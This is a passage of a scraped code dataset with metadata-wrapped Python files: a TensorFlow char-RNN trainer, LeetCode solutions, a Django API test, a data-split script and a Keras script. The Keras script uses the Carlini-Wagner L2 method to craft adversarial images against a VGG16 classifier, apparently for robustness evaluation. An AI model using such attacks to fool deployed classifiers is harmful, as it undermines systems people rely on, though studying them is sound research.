open('plot_cache/LR.pkl','rb') as file:\n L=pickle.load(file)\nR=binary_map(L)\nplot_map(R,path=True)\n\n", "repo_name": "luozheming/TIANCHI", "sub_path": "MAP_visualization/plot_binary(test).py", "file_name": "plot_binary(test).py", "file_ext": "py", "file_size_in_byte": 3158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 60, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 91, "usage_type": "call"}]} {"seq_id": "70299991262", "text": "import os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\nimport argparse\nimport codecs\nimport json\nimport logging\nimport os\nimport shutil\nimport sys\n\nimport numpy as np\nfrom char_rnn_model import *\nfrom six import iteritems\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n # Data and vocabulary file\n parser.add_argument('--data_file', type=str,\n default='data/tiny_shakespeare.txt',\n help='data file')\n\n parser.add_argument('--encoding', type=str,\n default='utf-8',\n help='the encoding of the data file.')\n\n # Parameters for saving models.\n parser.add_argument('--output_dir', type=str, default='output',\n help=('directory to store final and'\n ' intermediate results and models.'))\n parser.add_argument('--n_save', type=int, default=1,\n help='how many times to save the model during each epoch.')\n parser.add_argument('--max_to_keep', type=int, default=5,\n help='how many recent models to keep.')\n \n # Parameters to configure the neural network.\n parser.add_argument('--hidden_size', type=int, default=128,\n help='size of RNN hidden state vector')\n parser.add_argument('--embedding_size', type=int, default=0,\n help='size of character embeddings')\n parser.add_argument('--num_layers', type=int, default=2,\n help='number of layers in the RNN')\n parser.add_argument('--num_unrollings', type=int, default=10,\n help='number of unrolling steps.')\n parser.add_argument('--model', type=str, default='lstm',\n help='which model to use (rnn, lstm or gru).')\n \n # Parameters to control the training.\n parser.add_argument('--num_epochs', type=int, default=50,\n help='number of epochs')\n parser.add_argument('--batch_size', type=int, default=20,\n help='minibatch size')\n parser.add_argument('--train_frac', type=float, default=0.9,\n help='fraction of data used for training.')\n parser.add_argument('--valid_frac', type=float, default=0.05,\n help='fraction of data used for validation.')\n # test_frac is computed as (1 - train_frac - valid_frac).\n parser.add_argument('--dropout', type=float, default=0.0,\n help='dropout rate, default to 0 (no dropout).')\n\n parser.add_argument('--input_dropout', type=float, default=0.0,\n help=('dropout rate on input layer, default to 0 (no dropout),'\n 'and no dropout if using one-hot representation.'))\n\n # Parameters for gradient descent.\n parser.add_argument('--max_grad_norm', type=float, default=5.,\n help='clip global grad norm')\n parser.add_argument('--learning_rate', type=float, default=2e-3,\n help='initial learning rate')\n parser.add_argument('--decay_rate', type=float, default=0.95,\n help='decay rate')\n\n # Parameters for logging.\n parser.add_argument('--log_to_file', dest='log_to_file', action='store_true',\n help=('whether the experiment log is stored in a file under'\n ' output_dir or printed at stdout.'))\n parser.set_defaults(log_to_file=False)\n \n parser.add_argument('--progress_freq', type=int,\n default=100,\n help=('frequency for progress report in training'\n ' and evalution.'))\n\n parser.add_argument('--verbose', type=int,\n default=0,\n help=('whether to show progress report in training'\n ' and evalution.'))\n\n # Parameters to feed in the initial model and current best model.\n parser.add_argument('--init_model', type=str,\n default='',\n help=('initial model'))\n parser.add_argument('--best_model', type=str,\n default='',\n help=('current best model'))\n parser.add_argument('--best_valid_ppl', type=float,\n default=np.Inf,\n help=('current valid perplexity'))\n \n # Parameters for using saved best models.\n parser.add_argument('--init_dir', type=str, default='',\n help='continue from the outputs in the given directory')\n\n # Parameters for debugging.\n parser.add_argument('--debug', dest='debug', action='store_true',\n help='show debug information')\n parser.set_defaults(debug=False)\n\n # Parameters for unittesting the implementation.\n parser.add_argument('--test', dest='test', action='store_true',\n help=('use the first 1000 character to as data'\n ' to test the implementation'))\n parser.set_defaults(test=False)\n \n args = parser.parse_args()\n\n # Specifying location to store model, best model and tensorboard log.\n args.save_model = os.path.join(args.output_dir, 'save_model/model')\n args.save_best_model = os.path.join(args.output_dir, 'best_model/model')\n args.tb_log_dir = os.path.join(args.output_dir, 'tensorboard_log/')\n args.vocab_file = ''\n\n # Create necessary directories.\n if args.init_dir:\n args.output_dir = args.init_dir\n else:\n if os.path.exists(args.output_dir):\n shutil.rmtree(args.output_dir)\n for paths in [args.save_model, args.save_best_model,\n args.tb_log_dir]:\n os.makedirs(os.path.dirname(paths))\n\n # Specify logging config.\n if args.log_to_file:\n args.log_file = os.path.join(args.output_dir, 'experiment_log.txt')\n else:\n args.log_file = 'stdout'\n\n # Set logging file.\n if args.log_file == 'stdout':\n logging.basicConfig(stream=sys.stdout,\n format='%(asctime)s %(levelname)s:%(message)s', \n level=logging.INFO,\n datefmt='%I:%M:%S')\n else:\n logging.basicConfig(filename=args.log_file,\n format='%(asctime)s %(levelname)s:%(message)s', \n level=logging.INFO,\n datefmt='%I:%M:%S')\n\n print('=' * 60)\n print('All final and intermediate outputs will be stored in %s/' % args.output_dir)\n print('All information will be logged to %s' % args.log_file)\n print('=' * 60 + '\\n')\n \n if args.debug:\n logging.info('args are:\\n%s', args)\n\n # Prepare parameters.\n if args.init_dir:\n with open(os.path.join(args.init_dir, 'result.json'), 'r') as f:\n result = json.load(f)\n params = result['params']\n args.init_model = result['latest_model']\n best_model = result['best_model']\n best_valid_ppl = result['best_valid_ppl']\n if 'encoding' in result:\n args.encoding = result['encoding']\n else:\n args.encoding = 'utf-8'\n args.vocab_file = os.path.join(args.init_dir, 'vocab.json')\n else:\n params = {'batch_size': args.batch_size,\n 'num_unrollings': args.num_unrollings,\n 'hidden_size': args.hidden_size,\n 'max_grad_norm': args.max_grad_norm,\n 'embedding_size': args.embedding_size,\n 'num_layers': args.num_layers,\n 'learning_rate': args.learning_rate,\n 'model': args.model,\n 'dropout': args.dropout,\n 'input_dropout': args.input_dropout}\n best_model = ''\n logging.info('Parameters are:\\n%s\\n', json.dumps(params, sort_keys=True, indent=4))\n\n # Read and split data.\n logging.info('Reading data from: %s', args.data_file)\n with codecs.open(args.data_file, 'r', encoding=args.encoding) as f:\n text = f.read()\n\n if args.test:\n text = text[:1000]\n logging.info('Number of characters: %s', len(text))\n\n if args.debug:\n n = 10 \n logging.info('First %d characters: %s', n, text[:n])\n\n logging.info('Creating train, valid, test split')\n train_size = int(args.train_frac * len(text))\n valid_size = int(args.valid_frac * len(text))\n test_size = len(text) - train_size - valid_size\n train_text = text[:train_size]\n valid_text = text[train_size:train_size + valid_size]\n test_text = text[train_size + valid_size:]\n\n if args.vocab_file:\n vocab_index_dict, index_vocab_dict, vocab_size = load_vocab(\n args.vocab_file, args.encoding)\n else:\n logging.info('Creating vocabulary')\n vocab_index_dict, index_vocab_dict, vocab_size = create_vocab(text)\n vocab_file = os.path.join(args.output_dir, 'vocab.json')\n save_vocab(vocab_index_dict, vocab_file, args.encoding)\n logging.info('Vocabulary is saved in %s', vocab_file)\n args.vocab_file = vocab_file\n\n params['vocab_size'] = vocab_size\n logging.info('Vocab size: %d', vocab_size)\n\n # Create batch generators.\n batch_size = params['batch_size']\n num_unrollings = params['num_unrollings']\n train_batches = BatchGenerator(train_text, batch_size, num_unrollings, vocab_size, \n vocab_index_dict, index_vocab_dict)\n # valid_batches = BatchGenerator(valid_text, 1, 1, vocab_size,\n # vocab_index_dict, index_vocab_dict)\n valid_batches = BatchGenerator(valid_text, batch_size, num_unrollings, vocab_size,\n vocab_index_dict, index_vocab_dict)\n\n test_batches = BatchGenerator(test_text, 1, 1, vocab_size,\n vocab_index_dict, index_vocab_dict)\n\n if args.debug:\n logging.info('Test batch generators')\n logging.info(batches2string(train_batches.next(), index_vocab_dict))\n logging.info(batches2string(valid_batches.next(), index_vocab_dict))\n logging.info('Show vocabulary')\n logging.info(vocab_index_dict)\n logging.info(index_vocab_dict)\n \n # Create graphs\n logging.info('Creating graph')\n graph = tf.Graph()\n with graph.as_default():\n with tf.name_scope('training'):\n train_model = CharRNN(is_training=True, use_batch=True, **params)\n tf.get_variable_scope().reuse_variables()\n with tf.name_scope('validation'):\n valid_model = CharRNN(is_training=False, use_batch=True, **params)\n with tf.name_scope('evaluation'):\n test_model = CharRNN(is_training=False, use_batch=False, **params)\n saver = tf.train.Saver(name='checkpoint_saver', max_to_keep=args.max_to_keep)\n best_model_saver = tf.train.Saver(name='best_model_saver')\n\n logging.info('Model size (number of parameters): %s\\n', train_model.model_size)\n logging.info('Start training\\n')\n\n result = {}\n result['params'] = params\n result['vocab_file'] = args.vocab_file\n result['encoding'] = args.encoding\n\n try:\n # Use try and finally to make sure that intermediate\n # results are saved correctly so that training can\n # be continued later after interruption.\n with tf.Session(graph=graph) as session:\n graph_info = session.graph\n\n train_writer = tf.summary.FileWriter(args.tb_log_dir + 'train/', graph_info)\n valid_writer = tf.summary.FileWriter(args.tb_log_dir + 'valid/', graph_info)\n\n # load a saved model or start from random initialization.\n if args.init_model:\n saver.restore(session, args.init_model)\n else:\n tf.global_variables_initializer().run()\n for i in range(args.num_epochs):\n for j in range(args.n_save):\n logging.info(\n '=' * 19 + ' Epoch %d: %d/%d' + '=' * 19 + '\\n', i+1, j+1, args.n_save)\n logging.info('Training on training set')\n # training step\n ppl, train_summary_str, global_step = train_model.run_epoch(\n session,\n train_size,\n train_batches,\n is_training=True,\n verbose=args.verbose,\n freq=args.progress_freq,\n divide_by_n=args.n_save)\n # record the summary\n train_writer.add_summary(train_summary_str, global_step)\n train_writer.flush()\n # save model\n saved_path = saver.save(session, args.save_model,\n global_step=train_model.global_step)\n logging.info('Latest model saved in %s\\n', saved_path)\n logging.info('Evaluate on validation set')\n\n # valid_ppl, valid_summary_str, _ = valid_model.run_epoch(\n valid_ppl, valid_summary_str, _ = valid_model.run_epoch(\n session,\n valid_size,\n valid_batches, \n is_training=False,\n verbose=args.verbose,\n freq=args.progress_freq)\n\n # save and update best model\n if (not best_model) or (valid_ppl < best_valid_ppl):\n best_model = best_model_saver.save(\n session,\n args.save_best_model,\n global_step=train_model.global_step)\n best_valid_ppl = valid_ppl\n valid_writer.add_summary(valid_summary_str, global_step)\n valid_writer.flush()\n logging.info('Best model is saved in %s', best_model)\n logging.info('Best validation ppl is %f\\n', best_valid_ppl)\n result['latest_model'] = saved_path\n result['best_model'] = best_model\n # Convert to float because numpy.float is not json serializable.\n result['best_valid_ppl'] = float(best_valid_ppl)\n result_path = os.path.join(args.output_dir, 'result.json')\n if os.path.exists(result_path):\n os.remove(result_path)\n with open(result_path, 'w') as f:\n json.dump(result, f, indent=2, sort_keys=True)\n\n logging.info('Latest model is saved in %s', saved_path)\n logging.info('Best model is saved in %s', best_model)\n logging.info('Best validation ppl is %f\\n', best_valid_ppl)\n logging.info('Evaluate the best model on test set')\n saver.restore(session, best_model)\n test_ppl, _, _ = test_model.run_epoch(session, test_size, test_batches,\n is_training=False,\n verbose=args.verbose,\n freq=args.progress_freq)\n result['test_ppl'] = float(test_ppl)\n finally:\n result_path = os.path.join(args.output_dir, 'result.json')\n if os.path.exists(result_path):\n os.remove(result_path)\n with open(result_path, 'w') as f:\n json.dump(result, f, indent=2, sort_keys=True)\n\n\ndef create_vocab(text):\n unique_chars = list(set(text))\n vocab_size = len(unique_chars)\n vocab_index_dict = {}\n index_vocab_dict = {}\n for i, char in enumerate(unique_chars):\n vocab_index_dict[char] = i\n index_vocab_dict[i] = char\n return vocab_index_dict, index_vocab_dict, vocab_size\n\n\ndef load_vocab(vocab_file, encoding):\n with codecs.open(vocab_file, 'r', encoding=encoding) as f:\n vocab_index_dict = json.load(f)\n index_vocab_dict = {}\n vocab_size = 0\n for char, index in iteritems(vocab_index_dict):\n index_vocab_dict[index] = char\n vocab_size += 1\n return vocab_index_dict, index_vocab_dict, vocab_size\n\n\ndef save_vocab(vocab_index_dict, vocab_file, encoding):\n with codecs.open(vocab_file, 'w', encoding=encoding) as f:\n json.dump(vocab_index_dict, f, indent=2, sort_keys=True)\n \nif __name__ == '__main__':\n main()\n", "repo_name": "crazydonkey200/tensorflow-char-rnn", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 16517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 430, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ", "line_number": 2, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.Inf", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 130, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 143, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 143, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 145, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 148, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 150, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 186, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 186, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 189, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 190, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 195, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 199, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 201, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 217, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 221, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 237, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 238, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 239, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 240, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 241, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 242, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 245, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 258, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 259, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 283, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 285, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 301, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 302, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 322, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 323, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 328, "usage_type": "call"}, {"api_name": "os.path", "line_number": 328, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 330, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 332, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 334, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 335, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 336, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 345, "usage_type": "call"}, {"api_name": "os.path", "line_number": 345, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 346, "usage_type": "call"}, {"api_name": "os.path", "line_number": 346, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 347, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 349, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 364, "usage_type": "call"}, {"api_name": "json.load", "line_number": 365, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 368, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 375, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 376, "usage_type": "call"}]} {"seq_id": "17180679380", "text": "from typing import List, Set, Dict\r\n\r\n\r\nclass Solution:\r\n def __init__(self):\r\n self._graph: Dict[str, Set[str]] = {} # 单词: 与它相邻的单词集合\r\n self._clusters: Dict[str, int] = {} # 单词: 组号\r\n\r\n def areSentencesSimilarTwo(self, words1: List[str], words2: List[str], pairs: List[List[str]]) -> bool:\r\n if len(words1) != len(words2):\r\n return False\r\n\r\n self._build_graph(pairs)\r\n self._do_cluster()\r\n return self._judge_similarity(words1, words2)\r\n\r\n def _judge_similarity(self, words1, words2):\r\n for first, second in zip(words1, words2):\r\n if first == second:\r\n continue\r\n if (first not in self._graph) or (second not in self._graph):\r\n return False\r\n if self._clusters[first] != self._clusters[second]:\r\n return False\r\n return True\r\n\r\n def _build_graph(self, pairs: List[List[str]]):\r\n for first, second in pairs:\r\n self._graph.setdefault(first, set()).add(second)\r\n self._graph.setdefault(second, set()).add(first)\r\n\r\n def _do_cluster(self):\r\n def _dfs(node: str) -> None:\r\n # 将node所在的联通集内的所有单词记录为同一组\r\n self._clusters[node] = _id\r\n for nxt in self._graph[node]:\r\n if nxt in self._clusters:\r\n continue\r\n _dfs(nxt)\r\n\r\n _id = 0\r\n for word in self._graph:\r\n if word in self._clusters:\r\n continue\r\n _dfs(word)\r\n _id += 1\r\n\r\n\r\ndef test1():\r\n words1 = [\"great\", \"acting\", \"skills\"]\r\n words2 = [\"fine\", \"drama\", \"talent\"]\r\n pairs = [[\"great\", \"good\"], [\"fine\", \"good\"], [\"drama\", \"acting\"], [\"skills\", \"talent\"]]\r\n s = Solution()\r\n assert s.areSentencesSimilarTwo(words1, words2, pairs)\r\n\r\n\r\nif __name__ == '__main__':\r\n test1()\r\n", "repo_name": "miniyk2012/leetcode", "sub_path": "leetcode_projects/leetcode_737/solution2.py", "file_name": "solution2.py", "file_ext": "py", "file_size_in_byte": 1942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Dict", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}]} {"seq_id": "30663166569", "text": "from functools import reduce\nfrom itertools import combinations\nfrom typing import List\n\n\nclass Solution:\n def minNumberOfSemesters(self, n: int, dependencies: List[List[int]], k: int) -> int:\n bin_rep = [1 << i for i in range(n)]\n has_child = [0] * n\n completion = (1 << n) - 1\n dep = [0] * n\n for i, j in dependencies:\n dep[j - 1] |= bin_rep[i - 1]\n has_child[i - 1] = 1\n seen = set()\n pool = [0]\n semester = 0\n while pool:\n pool1 = []\n for state in pool:\n can_take = [i for i in range(n) if bin_rep[i] & state == 0 and dep[i] & state == dep[i]]\n parent_take = [i for i in can_take if has_child[i]]\n leaf_take = [i for i in can_take if not has_child[i]]\n if len(parent_take) <= k:\n to_takes = [parent_take + leaf_take[:k - len(parent_take)]]\n else:\n to_takes = combinations(parent_take, k)\n for can_take in to_takes:\n tmp = reduce(lambda x, y: x | y, [bin_rep[i] for i in can_take], state)\n if tmp == completion:\n return semester + 1\n if tmp not in seen:\n seen.add(tmp)\n pool1.append(tmp)\n semester += 1\n pool = pool1\n\n\nprint(Solution().minNumberOfSemesters(n=4, dependencies=[[2, 1], [2, 4]], k=2))\n", "repo_name": "yutao-li/leetcode", "sub_path": "1494.py", "file_name": "1494.py", "file_ext": "py", "file_size_in_byte": 1488, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "itertools.combinations", "line_number": 27, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 29, "usage_type": "call"}]} {"seq_id": "46283404707", "text": "\nimport numpy as np\nimport tensorflow as tf\nimport keras\nimport json\nimport os\nfrom keras.layers import Input\nfrom keras import backend\nfrom keras import utils\nfrom cleverhans.attacks import CarliniWagnerL2\nfrom keras.preprocessing.image import load_img,img_to_array\nfrom keras.applications.vgg16 import VGG16,preprocess_input,decode_predictions\n\n##Make Test Changes\npath='./dataset/tiny-imagenet-200/train/n01443537/images'\nCLASS_INDEX=json.load(open('./imagenet_class_index.json'))\ndef vgg16_evaluate():\n\n sess = tf.Session()\n keras.backend.set_session(sess)\n \n ##Load images for evaluation. Took Stanford 231n tiny set for testing (goldfish)\n images=[]\n target=np.ones(100)\n for index,myfile in enumerate(os.listdir(path)):\n if index==100:\n break\n if myfile.endswith('JPEG'):\n image=load_img(path+'/'+myfile,target_size=(224,224))\n inputs=img_to_array(image)\n inputs=inputs.reshape(1,inputs.shape[0],inputs.shape[1],inputs.shape[2])\n images.append(inputs)\n #target.append(np.zeros(1000))\n #target[-1][1]=1\n\n target=utils.to_categorical(target,1000)\n x_input=np.vstack(images)\n x_input=preprocess_input(x_input)\n model=VGG16(include_top=True, weights='imagenet', input_tensor=None, input_shape=None, pooling=None, classes=1000)\n model.compile(loss='categorical_crossentropy',\n optimizer='sgd',\n metrics=['accuracy'])\n\n# y=model.evaluate(x_input,target,verbose=1)\n# print(y)\n\n cw_attack=CarliniWagnerL2(model=model,back='tf',sess=sess)\n \n ##Untargeted cw_attack parameters\n cw_params = {'binary_search_steps': 1,\n 'y_target': None,\n 'max_iterations': 10,\n 'learning_rate': 0.1,\n 'batch_size': 100,\n 'initial_const': 10}\n adv_inputs=x_input[:]\n adv=cw_attack.generate_np(adv_inputs,**cw_params)\n \n adv_y=model.evaluate(adv,target,verbose=1)\n print(adv_y)\n\nvgg16_evaluate()\n\n \n \n \n\n\n", "repo_name": "ShangwuYao/AdvEx_Evaluation", "sub_path": "models/VGG16_keras.py", "file_name": "VGG16_keras.py", "file_ext": "py", "file_size_in_byte": 2057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 19, "usage_type": "call"}, {"api_name": "keras.backend.set_session", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 24, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.applications.vgg16.preprocess_input", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.applications.vgg16.VGG16", "line_number": 39, "usage_type": "call"}, {"api_name": "cleverhans.attacks.CarliniWagnerL2", "line_number": 47, "usage_type": "call"}]} {"seq_id": "41051158489", "text": "from rest_framework import status\n\nfrom common.models import Message\nfrom config import MESSAGE_STATUS, MESSAGE_TYPE\nfrom test.api_test.system_admin.AdminSystemTestBase import AdminSystemTestBase\n\n\nclass MessageTests(AdminSystemTestBase):\n\n def test_message(self):\n \"\"\" 获取更新首页消息 \"\"\"\n\n data = dict(content=\"区域没有业务员\", # 消息内容\n status=MESSAGE_STATUS['UNHANDLED'], # 消息状态\n type=MESSAGE_TYPE['AREA_WITHOUT_MARKETER'] # 消息类型\n )\n msg1 = Message.objects.create(**data)\n msg2 = Message.objects.create(**data)\n\n self.set_login_status(is_super=True)\n url = \"/api/admin/messages/?page=1\"\n resp = self.client.get(url)\n self.assertEqual(resp.status_code, status.HTTP_200_OK)\n resp_json = resp.json()\n self.assertEqual(resp_json['count'], 2)\n results = resp_json['results']\n self.assertEqual(len(results), 2)\n self.assertEqual(results[0]['status'], MESSAGE_STATUS['UNHANDLED'])\n self.assertEqual(results[0]['type'], MESSAGE_TYPE['AREA_WITHOUT_MARKETER'])\n self.assertEqual(results[1]['status'], MESSAGE_STATUS['UNHANDLED'])\n self.assertEqual(results[1]['type'], MESSAGE_TYPE['AREA_WITHOUT_MARKETER'])\n\n\n update_url = f\"/api/admin/messages/{msg1.id}/\"\n resp = self.client.patch(update_url, data={\"id\": msg1.id, \"status\": MESSAGE_STATUS['HANDLED']}, format='json')\n self.assertEqual(resp.status_code, status.HTTP_200_OK)\n resp_json = resp.json()\n msg1.refresh_from_db()\n self.assertEqual(msg1.status, MESSAGE_STATUS['HANDLED'])\n self.assertEqual(resp_json['status'], MESSAGE_STATUS['HANDLED'])\n self.assertEqual(resp_json['id'], msg1.id)\n", "repo_name": "yiyuhao/FukuanUnion", "sub_path": "payserver/test/api_test/system_admin/test_message.py", "file_name": "test_message.py", "file_ext": "py", "file_size_in_byte": 1776, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "test.api_test.system_admin.AdminSystemTestBase.AdminSystemTestBase", "line_number": 8, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 14, "usage_type": "name"}, {"api_name": "config.MESSAGE_TYPE", "line_number": 15, "usage_type": "name"}, {"api_name": "common.models.Message.objects.create", "line_number": 17, "usage_type": "call"}, {"api_name": "common.models.Message.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "common.models.Message", "line_number": 17, "usage_type": "name"}, {"api_name": "common.models.Message.objects.create", "line_number": 18, "usage_type": "call"}, {"api_name": "common.models.Message.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "common.models.Message", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 23, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 28, "usage_type": "name"}, {"api_name": "config.MESSAGE_TYPE", "line_number": 29, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 30, "usage_type": "name"}, {"api_name": "config.MESSAGE_TYPE", "line_number": 31, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 36, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 39, "usage_type": "name"}, {"api_name": "config.MESSAGE_STATUS", "line_number": 40, "usage_type": "name"}]} {"seq_id": "28347124925", "text": "import pandas as pd\nimport numpy as np\nimport cfg\nfrom sklearn.model_selection import train_test_split\nimport logging\nfrom src import util\n\nlogger = logging.getLogger(__name__)\n\n\ndef main(env: cfg.EnviromentManager, output_path: str):\n train_data = pd.read_parquet(env.clean_train_path, columns=[cfg.TARGET_NAME])\n fold_indices = pd.DataFrame(index=train_data.index)\n indices = np.arange(len(train_data))\n train_idx, valid_idx = train_test_split(indices, stratify=train_data[cfg.TARGET_NAME], random_state=cfg.MAIN_SEED)\n fold_indices['is_test'] = -1\n fold_indices.iloc[train_idx, 0] = 0\n fold_indices.iloc[valid_idx, 0] = 1\n\n # save it to output path\n logger.info(f'output path: {output_path}')\n util.create_dir_from_path(output_path)\n print(fold_indices.head().to_markdown())\n fold_indices.to_csv(output_path, index=False)\n\n\nif __name__ == '__main__':\n util.setup_logging()\n env = cfg.EnviromentManager.from_enviroment()\n main(env, env.cv_path)", "repo_name": "camaron-ai/handle-categorical-variables", "sub_path": "src/write_train_test_split.py", "file_name": "write_train_test_split.py", "file_ext": "py", "file_size_in_byte": 991, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", 